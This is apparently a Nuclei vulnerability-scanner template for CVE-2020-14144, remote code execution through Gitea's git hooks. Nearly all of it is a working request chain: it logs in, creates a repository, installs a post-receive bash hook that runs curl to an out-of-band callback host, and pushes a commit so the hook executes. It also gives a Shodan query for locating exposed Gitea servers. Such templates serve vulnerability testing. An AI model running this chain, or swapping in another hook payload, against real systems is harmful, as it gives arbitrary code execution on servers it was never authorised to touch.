id: CVE-2020-14144 info: name: Gitea Git Hooks Remote Code Execution author: theamanrawat severity: high description: | The git hook feature in Gitea 1.1.0 through 1.12.5 might allow for authenticated remote code execution in customer environments where the documentation was not understood (e.g., one viewpoint is that the dangerousness of this feature should be documented immediately above the ENABLE_GIT_HOOKS line in the config file). NOTE: The vendor has indicated this is not a vulnerability and states "This is a functionality of the software that is limited to a very limited subset of accounts. If you give someone the privilege to execute arbitrary code on your server, they can execute arbitrary code on your server. We provide very clear warnings to users around this functionality and what it provides. remediation: Fixed in version 1.16.7 reference: - https://dl.gitea.io/gitea/1.16.6 - https://nvd.nist.gov/vuln/detail/CVE-2020-14144 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H cvss-score: 7.2 cve-id: CVE-2020-14144 cwe-id: CWE-78 metadata: verified: "true" shodan-query: html:"Powered by Gitea Version" tags: cve,cve2020,rce,gitea,authenticated requests: - raw: - | GET /user/login HTTP/1.1 Host: {{Hostname}} - | POST /user/login HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded _csrf={{csrf}}&user_name={{username}}&password={{url_encode(password)}} - | GET /repo/create HTTP/1.1 Host: {{Hostname}} - | POST /repo/create HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded _csrf={{auth_csrf}}&uid=1&repo_name={{randstr}}&private=on&description=&repo_template=&issue_labels=&gitignores=&license=&readme=Default&auto_init=on&default_branch=master - | POST /{{username}}/{{randstr}}/settings/hooks/git/post-receive HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded _csrf={{auth_csrf}}&content=%23%21%2Fbin%2Fbash%0D%0Acurl+{{interactsh-url}} - | GET /{{username}}/{{randstr}}/_new/master HTTP/1.1 Host: {{Hostname}} - | POST /{{username}}/{{randstr}}/_new/master HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded _csrf={{auth_csrf}}&last_commit={{last_commit}}&tree_path=test.txt&content=test&commit_summary=&commit_message=&commit_choice=direct cookie-reuse: true matchers-condition: and matchers: - type: word part: interactsh_protocol words: - "http" - type: word part: body_1 words: - "Gitea:" extractors: - type: regex name: csrf group: 1 regex: - 'name="_csrf" value="(.*)"' internal: true - type: regex name: auth_csrf group: 1 regex: - 'name="_csrf" content="(.*)"' internal: true - type: regex name: last_commit group: 1 regex: - 'name="last_commit" value="(.*)"' internal: true